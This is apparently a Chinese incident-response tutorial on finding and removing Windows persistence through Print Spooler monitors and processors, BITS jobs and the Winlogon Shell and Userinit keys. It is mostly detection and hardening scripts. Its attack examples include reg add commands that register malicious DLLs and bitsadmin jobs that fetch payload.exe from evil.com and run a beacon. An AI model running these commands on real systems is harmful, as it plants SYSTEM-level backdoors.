Windows应急响应 - 29 PrintSpooler与Bitsadmin后门

Print Spooler与BITS持久化后门排查

本篇涵盖Print Spooler服务相关持久化(Print Monitors、Print Processors、Port Monitors)、BITS Jobs持久化,以及Winlogon注册表键的补充说明

这些技术利用合法的Windows服务和功能实现持久化,具有较高的隐蔽性

相关参考: 09-注册表持久化审计

一、Print Spooler持久化

1.1 Print Spooler服务概述

Print Spooler(spoolsv.exe)是Windows核心打印服务,默认启用并以SYSTEM权限运行

管理打印队列和打印驱动的加载

攻击者利用其DLL加载机制实现持久化:注册恶意DLL,Spooler启动时自动加载

历史上多次出现严重漏洞: PrintNightmare (CVE-2021-34527)、Print Spooler提权等

1.2 Print Monitors (打印监视器)

原理

Print Monitor是负责将数据发送到打印设备的组件

注册在HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\

spoolsv.exe启动时会加载所有注册的Monitor DLL

攻击者通过注册恶意DLL为Print Monitor实现持久化

DLL以SYSTEM权限加载

攻击方式

注册恶意Print Monitor:

1
2
3
4
5
:: 注册恶意Print Monitor
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\EvilMonitor" /v Driver /t REG_SZ /d "evil_monitor.dll" /f

:: 将恶意DLL复制到System32目录
copy C:\temp\evil_monitor.dll C:\Windows\System32\evil_monitor.dll

PowerShell方式:

1
2
# 使用Add-PrinterPort/相关API添加Print Monitor
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\BackdoorMon" -Name "Driver" -Value "backdoor.dll" -PropertyType String

检测方法

列出所有Print Monitor:

1
2
3
4
5
6
7
8
9
10
11
12
# 枚举所有Print Monitor注册表项
$monPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors"
Get-ChildItem $monPath | ForEach-Object {
$name = $_.PSChildName
$driver = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Driver
[PSCustomObject]@{
MonitorName = $name
DriverDLL = $driver
FullPath = if ($driver) { "C:\Windows\System32\$driver" } else { "N/A" }
Exists = if ($driver) { Test-Path "C:\Windows\System32\$driver" } else { $false }
}
} | Format-Table -AutoSize

已知合法的Print Monitor:

1
2
3
4
5
6
合法Monitor列表(默认):
- Local Port -> localspl.dll
- Standard TCP/IP Port -> tcpmon.dll
- USB Monitor -> usbmon.dll
- WSD Port -> WSDMon.dll
- Microsoft Shared Fax Monitor -> FXSMON.DLL

识别非标准Monitor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$knownMonitors = @("Local Port", "Standard TCP/IP Port", "USB Monitor", 
"WSD Port", "Microsoft Shared Fax Monitor",
"Appmon", "Send To Microsoft OneNote 16 Monitor")

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | ForEach-Object {
$name = $_.PSChildName
if ($name -notin $knownMonitors) {
$driver = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Driver
Write-Host "[ALERT] 非标准Print Monitor: $name -> $driver" -ForegroundColor Red

# 检查DLL签名
$dllPath = "C:\Windows\System32\$driver"
if (Test-Path $dllPath) {
$sig = Get-AuthenticodeSignature $dllPath
Write-Host " 签名状态: $($sig.Status) - $($sig.SignerCertificate.Subject)"
}
}
}

1.3 Print Processors (打印处理器)

原理

Print Processor负责处理打印数据的格式转换

注册在HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\

同样由spoolsv.exe以SYSTEM权限加载

检测方法

枚举Print Processors:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检查64位Print Processors
$ppPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"
if (Test-Path $ppPath) {
Get-ChildItem $ppPath | ForEach-Object {
$name = $_.PSChildName
$driver = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Driver
[PSCustomObject]@{
ProcessorName = $name
DriverDLL = $driver
}
} | Format-Table -AutoSize
}

# 默认合法的Print Processor: WinPrint -> winprint.dll

检查Print Processor DLL的存放目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Print Processor DLL通常位于以下目录
$spoolDir = "C:\Windows\System32\spool\prtprocs\x64"
if (Test-Path $spoolDir) {
Get-ChildItem $spoolDir -Filter "*.dll" | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName
[PSCustomObject]@{
Name = $_.Name
Size = $_.Length
Modified = $_.LastWriteTime
Signed = $sig.Status
Signer = $sig.SignerCertificate.Subject
}
} | Format-Table -AutoSize
}

1.4 Port Monitors (端口监视器)

原理

Port Monitor管理打印端口的通信

也通过注册表注册DLL,由spoolsv.exe加载

攻击方式与Print Monitor类似

检测方法

检查注册的Port Monitor:

1
2
3
4
5
6
7
8
9
10
# 通过API枚举所有端口
$portList = Get-PrinterPort | Select-Object Name, Description, PrinterHostAddress
$portList | Format-Table -AutoSize

# 检查是否有指向异常地址的端口
Get-PrinterPort | Where-Object {
$_.PrinterHostAddress -and $_.PrinterHostAddress -notmatch '^\d+\.\d+\.\d+\.\d+$|^$'
} | ForEach-Object {
Write-Host "[ALERT] 可疑打印端口: $($_.Name) -> $($_.PrinterHostAddress)" -ForegroundColor Red
}

1.5 spoolsv.exe加载DLL检查

直接检查spoolsv.exe进程加载了哪些DLL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 列出spoolsv.exe加载的所有DLL
$spoolProc = Get-Process spoolsv -ErrorAction SilentlyContinue
if ($spoolProc) {
$spoolProc.Modules | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FileName -ErrorAction SilentlyContinue
[PSCustomObject]@{
ModuleName = $_.ModuleName
FileName = $_.FileName
Size = $_.ModuleMemorySize
Signed = if ($sig) { $sig.Status } else { "Unknown" }
}
} | Where-Object { $_.Signed -ne "Valid" } | Format-Table -AutoSize
} else {
Write-Host "Print Spooler服务未运行"
}

使用Sysinternals Listdlls检查:

1
2
3
4
5
:: 使用Listdlls检查spoolsv.exe的DLL
listdlls.exe spoolsv.exe

:: 检查未签名的DLL
listdlls.exe -u spoolsv.exe

1.6 PrintNightmare上下文 (CVE-2021-34527)

PrintNightmare允许远程代码执行,攻击者可:

远程安装恶意打印驱动

通过打印驱动加载恶意DLL实现持久化

检查是否被PrintNightmare利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查打印驱动目录中的异常文件
$driverDirs = @(
"C:\Windows\System32\spool\drivers\x64\3",
"C:\Windows\System32\spool\drivers\x64\4",
"C:\Windows\System32\spool\drivers\W32X86\3"
)

foreach ($dir in $driverDirs) {
if (Test-Path $dir) {
Get-ChildItem $dir -Filter "*.dll" -Recurse | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
if ($sig.Status -ne "Valid") {
Write-Host "[ALERT] 未签名打印驱动DLL: $($_.FullName)" -ForegroundColor Red
Write-Host " 大小: $($_.Length) 修改时间: $($_.LastWriteTime)"
}
}
}
}

检查补丁状态:

1
2
3
4
# 检查PrintNightmare相关补丁
Get-HotFix | Where-Object {
$_.HotFixID -in @("KB5004945", "KB5004946", "KB5004947", "KB5004948", "KB5004950", "KB5004951", "KB5004953", "KB5004954", "KB5004955", "KB5004956", "KB5004958")
} | Format-Table -AutoSize

1.7 Print Spooler加固

如果不需要打印服务,建议禁用:

1
2
3
4
5
6
7
# 停止并禁用Print Spooler服务
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

# 通过GPO限制打印驱动安装
# Computer Configuration > Administrative Templates > Printers
# "Point and Print Restrictions" -> 启用并配置安全设置

限制远程打印:

1
2
# 禁止远程连接Print Spooler
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers" -Name "RegisterSpoolerRemoteRpcEndPoint" -Value 2 -Type DWord

二、BITS Jobs持久化

2.1 BITS概述

BITS (Background Intelligent Transfer Service) 是Windows后台传输服务

原本用于Windows Update等后台下载任务

特点:

SYSTEM权限运行

任务可持久化 - 重启后继续执行

支持通知命令 - 任务完成后执行指定程序

默认情况下不被安全软件重点监控

攻击者利用BITS的通知命令(NotifyCmdLine)功能实现持久化

2.2 攻击方式 - bitsadmin命令

使用bitsadmin创建持久化下载任务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
:: 创建BITS任务
bitsadmin /create /download PersistJob

:: 添加要下载的文件(可以是恶意payload)
bitsadmin /addfile PersistJob http://evil.com/payload.exe C:\ProgramData\update.exe

:: 设置任务完成后执行的命令(关键持久化点)
bitsadmin /setnotifycmdline PersistJob C:\ProgramData\update.exe NULL

:: 设置任务为最低优先级(减少被发现概率)
bitsadmin /setpriority PersistJob LOW

:: 设置最小重试延迟
bitsadmin /setminretrydelay PersistJob 60

:: 设置无进度超时(保持任务不过期)
bitsadmin /setnoprogresstimeout PersistJob 0

:: 开始任务
bitsadmin /resume PersistJob

使用PowerShell创建BITS任务:

1
2
3
4
5
6
7
8
9
10
11
# PowerShell方式创建BITS持久化
Import-Module BitsTransfer

$job = Start-BitsTransfer -Source "http://evil.com/payload.exe" `
-Destination "C:\ProgramData\update.exe" `
-Asynchronous `
-Priority Low `
-DisplayName "WindowsUpdate"

# 注意: PowerShell的Start-BitsTransfer不直接支持NotifyCmdLine
# 攻击者通常结合COM接口设置

利用BITS触发本地命令(无需实际下载):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
:: 创建任务,下载不存在的文件(永远不会成功)
bitsadmin /create backdoor_task
bitsadmin /addfile backdoor_task http://127.0.0.1/fake C:\temp\fake.txt

:: 设置错误时执行的命令
bitsadmin /setnotifycmdline backdoor_task "C:\Windows\System32\cmd.exe" "/c C:\ProgramData\beacon.exe"

:: 设置最小重试延迟(每60秒重试)
bitsadmin /setminretrydelay backdoor_task 60

:: 设置自定义HTTP头(用于C2通信)
bitsadmin /setcustomheaders backdoor_task "Cookie: session=malicious_token"

bitsadmin /resume backdoor_task

2.3 BITS持久化特性

BITS任务存储在数据库文件中:

1
2
3
C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat
C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat

任务重启后自动恢复

默认任务超时为90天(可通过参数修改)

任务以创建者的身份或SYSTEM权限运行

BITS使用合法的Windows HTTP通信,流量不易被识别为恶意

2.4 BITS检测方法

使用bitsadmin枚举

列出所有用户的BITS任务:

1
2
:: 列出所有用户的BITS任务(需要管理员权限)
bitsadmin /list /allusers /verbose

筛选可疑任务:

1
2
3
4
5
6
7
8
:: 基础列表
bitsadmin /list /allusers

:: 查看特定任务详情
bitsadmin /info <JobID> /verbose

:: 查看任务的NotifyCmdLine
bitsadmin /getnotifycmdline <JobID>

使用PowerShell枚举

Get-BitsTransfer检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 获取所有BITS任务
Get-BitsTransfer -AllUsers | ForEach-Object {
[PSCustomObject]@{
DisplayName = $_.DisplayName
JobId = $_.JobId
JobState = $_.JobState
Owner = $_.OwnerAccount
Priority = $_.Priority
CreationTime = $_.CreationTime
TransferType = $_.TransferType
NotifyFlags = $_.NotifyFlags
FileCount = $_.FilesTotal
}
} | Format-Table -AutoSize

# 查看任务详细信息(包含URL和文件路径)
Get-BitsTransfer -AllUsers | ForEach-Object {
Write-Host "=== 任务: $($_.DisplayName) ===" -ForegroundColor Cyan
Write-Host " 状态: $($_.JobState)"
Write-Host " 所有者: $($_.OwnerAccount)"
Write-Host " 创建时间: $($_.CreationTime)"
$_.FileList | ForEach-Object {
Write-Host " 远程文件: $($_.RemoteName)"
Write-Host " 本地文件: $($_.LocalName)"
}
Write-Host ""
}

使用COM接口获取NotifyCmdLine

Get-BitsTransfer不显示NotifyCmdLine,需要COM接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 通过COM接口获取BITS任务的NotifyCmdLine
$bitsManager = New-Object -ComObject "Microsoft.BackgroundIntelligentTransfer.Management"
# 注意: 具体实现可能需要使用BITS的原生COM接口

# 替代方案: 使用bitsadmin获取通知命令
$jobs = bitsadmin /list /allusers 2>&1
if ($jobs -match "GUID") {
$guids = [regex]::Matches($jobs, '\{[0-9a-fA-F-]+\}') | ForEach-Object { $_.Value }
foreach ($guid in $guids) {
$notify = bitsadmin /getnotifycmdline $guid 2>&1
if ($notify -notmatch "NONE") {
Write-Host "[ALERT] BITS任务有通知命令: $guid" -ForegroundColor Red
Write-Host " 命令: $notify"
}
}
}

BITS-Client事件日志

BITS有专门的Operational日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 查看BITS-Client操作日志
Get-WinEvent -LogName "Microsoft-Windows-Bits-Client/Operational" -MaxEvents 100 |
Select-Object TimeCreated, Id, Message | Format-Table -Wrap

# 关键事件ID:
# 3 - BITS服务创建了新的任务
# 4 - BITS任务已完成
# 5 - BITS任务已取消
# 59 - BITS任务启动了通知命令行
# 60 - BITS任务停止了传输

# 重点关注Event ID 59 (通知命令执行)
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Bits-Client/Operational'
Id = 59
} -MaxEvents 100 -ErrorAction SilentlyContinue | ForEach-Object {
Write-Host "[ALERT] BITS通知命令执行:" -ForegroundColor Red
Write-Host " 时间: $($_.TimeCreated)"
Write-Host " 详情: $($_.Message)"
}

# 查看BITS任务创建事件
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Bits-Client/Operational'
Id = 3
} -MaxEvents 200 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message | Format-List

2.5 BITS应急响应

取消并删除可疑BITS任务:

1
2
3
4
5
:: 取消特定任务
bitsadmin /cancel <JobID>

:: 取消所有任务(慎用,可能影响Windows Update)
bitsadmin /reset /allusers

PowerShell方式清理:

1
2
3
4
5
6
7
8
# 移除所有可疑BITS任务
Get-BitsTransfer -AllUsers | Where-Object {
# 排除已知合法的BITS任务
$_.DisplayName -notmatch "Windows Update|CCMDTS|SMS"
} | ForEach-Object {
Write-Host "移除BITS任务: $($_.DisplayName) - $($_.JobId)" -ForegroundColor Yellow
$_ | Remove-BitsTransfer
}

删除BITS数据库文件(彻底清除):

1
2
3
4
5
6
7
8
9
10
11
# 停止BITS服务
Stop-Service BITS -Force

# 备份并删除BITS数据库
$bitsDb = "C:\ProgramData\Microsoft\Network\Downloader"
Copy-Item $bitsDb "C:\IR\Evidence\BITS_DB" -Recurse
Remove-Item "$bitsDb\qmgr*.dat" -Force -ErrorAction SilentlyContinue
Remove-Item "$bitsDb\qmgr.db" -Force -ErrorAction SilentlyContinue

# 重启BITS服务
Start-Service BITS

三、Winlogon注册表键(补充)

3.1 概述

Winlogon注册表键控制Windows登录过程,是经典的持久化位置

详细的注册表持久化审计参见 09-注册表持久化审计

本节补充Winlogon相关的三个关键键值: Shell、Userinit、Notify

3.2 Winlogon Shell

注册表路径:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

正常值: explorer.exe

攻击者修改为:

1
2
:: 添加恶意程序到Shell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\ProgramData\backdoor.exe" /f

检测:

1
2
3
4
5
6
$shell = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").Shell
if ($shell -ne "explorer.exe") {
Write-Host "[ALERT] Winlogon Shell被修改: $shell" -ForegroundColor Red
} else {
Write-Host "[OK] Winlogon Shell正常: explorer.exe" -ForegroundColor Green
}

3.3 Winlogon Userinit

注册表路径:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

正常值: C:\Windows\system32\userinit.exe,(注意末尾逗号)

攻击者追加恶意程序:

1
2
:: 在Userinit后追加恶意程序
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\ProgramData\loader.exe" /f

检测:

1
2
3
4
5
6
$userinit = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").Userinit
if ($userinit -notmatch '^C:\\Windows\\system32\\userinit\.exe,?\s*$') {
Write-Host "[ALERT] Winlogon Userinit被修改: $userinit" -ForegroundColor Red
} else {
Write-Host "[OK] Winlogon Userinit正常" -ForegroundColor Green
}

3.4 Winlogon Notify (旧版Windows)

注册表路径:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\

已在Windows Vista+中弃用,但仍需检查(兼容性遗留):

1
2
3
4
5
6
7
8
$notifyPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
if (Test-Path $notifyPath) {
Write-Host "[WARN] Winlogon Notify键存在(不应存在于现代Windows):" -ForegroundColor Yellow
Get-ChildItem $notifyPath | ForEach-Object {
$dllName = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).DLLName
Write-Host " $($_.PSChildName) -> $dllName"
}
}

3.5 综合Winlogon检查脚本

一次性检查所有Winlogon相关键值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Write-Host "===== Winlogon注册表检查 =====" -ForegroundColor Cyan
$wlPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Shell
$shell = (Get-ItemProperty $wlPath).Shell
Write-Host "`n[Shell] $shell" -ForegroundColor $(if ($shell -eq "explorer.exe") {"Green"} else {"Red"})

# Userinit
$userinit = (Get-ItemProperty $wlPath).Userinit
Write-Host "[Userinit] $userinit" -ForegroundColor $(
if ($userinit -match '^C:\\Windows\\system32\\userinit\.exe,?\s*$') {"Green"} else {"Red"}
)

# AppSetup
$appsetup = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).AppSetup
if ($appsetup) {
Write-Host "[AppSetup] $appsetup" -ForegroundColor Yellow
}

# Taskman
$taskman = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).Taskman
if ($taskman) {
Write-Host "[ALERT] Taskman: $taskman" -ForegroundColor Red
}

# System
$system = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).System
if ($system) {
Write-Host "[System] $system" -ForegroundColor Yellow
}

# GinaDLL (旧版)
$gina = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).GinaDLL
if ($gina) {
Write-Host "[ALERT] GinaDLL: $gina (不应存在于现代Windows)" -ForegroundColor Red
}

Write-Host "`n===== 检查完成 =====" -ForegroundColor Cyan

四、综合检测脚本

4.1 Print Spooler + BITS + Winlogon一键排查

综合排查脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Write-Host "===============================================" -ForegroundColor Cyan
Write-Host " Print Spooler / BITS / Winlogon 持久化排查" -ForegroundColor Cyan
Write-Host "===============================================`n" -ForegroundColor Cyan

# === Print Monitors ===
Write-Host "[1] Print Monitors:" -ForegroundColor Yellow
$knownMon = @("Local Port","Standard TCP/IP Port","USB Monitor","WSD Port",
"Microsoft Shared Fax Monitor","Appmon")
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -ErrorAction SilentlyContinue | ForEach-Object {
$name = $_.PSChildName
$driver = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Driver
$color = if ($name -in $knownMon) { "Gray" } else { "Red" }
Write-Host " $name -> $driver" -ForegroundColor $color
}

# === Print Processors ===
Write-Host "`n[2] Print Processors:" -ForegroundColor Yellow
$ppPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"
Get-ChildItem $ppPath -ErrorAction SilentlyContinue | ForEach-Object {
$name = $_.PSChildName
$driver = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Driver
Write-Host " $name -> $driver"
}

# === BITS Jobs ===
Write-Host "`n[3] BITS任务:" -ForegroundColor Yellow
$bitsJobs = Get-BitsTransfer -AllUsers -ErrorAction SilentlyContinue
if ($bitsJobs) {
$bitsJobs | ForEach-Object {
Write-Host " 名称: $($_.DisplayName) | 状态: $($_.JobState) | 所有者: $($_.OwnerAccount)" -ForegroundColor Red
}
} else {
Write-Host " 无活动BITS任务" -ForegroundColor Green
}

# === Winlogon ===
Write-Host "`n[4] Winlogon键值:" -ForegroundColor Yellow
$wl = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Write-Host " Shell: $($wl.Shell)"
Write-Host " Userinit: $($wl.Userinit)"

Write-Host "`n===============================================" -ForegroundColor Cyan

五、MITRE ATT&CK映射

技术ID 名称 说明
T1547.010 Boot or Logon Autostart: Port Monitors Print Monitor DLL持久化
T1547.012 Boot or Logon Autostart: Print Processors Print Processor DLL持久化
T1197 BITS Jobs BITS任务持久化与数据传输
T1547.004 Boot or Logon Autostart: Winlogon Helper DLL Winlogon Shell/Userinit/Notify
T1547.001 Boot or Logon Autostart: Registry Run Keys 注册表持久化(通用)

Print Spooler相关持久化属于Persistence战术,BITS同时属于Persistence和Defense Evasion战术

六、总结

本篇排查要点:

Print Monitor: 检查Control\Print\Monitors注册表,比对已知合法Monitor列表

Print Processor: 检查Print Processors注册表和spool目录中的DLL签名

spoolsv.exe: 审计进程加载的DLL,关注未签名模块

BITS任务: bitsadmin /list /allusers /verbose列出所有任务,重点检查NotifyCmdLine

BITS日志: Microsoft-Windows-Bits-Client/Operational日志,Event ID 59

Winlogon: 验证Shell=explorer.exe, Userinit=userinit.exe

更多注册表持久化位置参见 09-注册表持久化审计


上一章 目录 下一章
28-AD持久化-Golden-Silver-Ticket Windows应急响应 30-持久化综合Checklist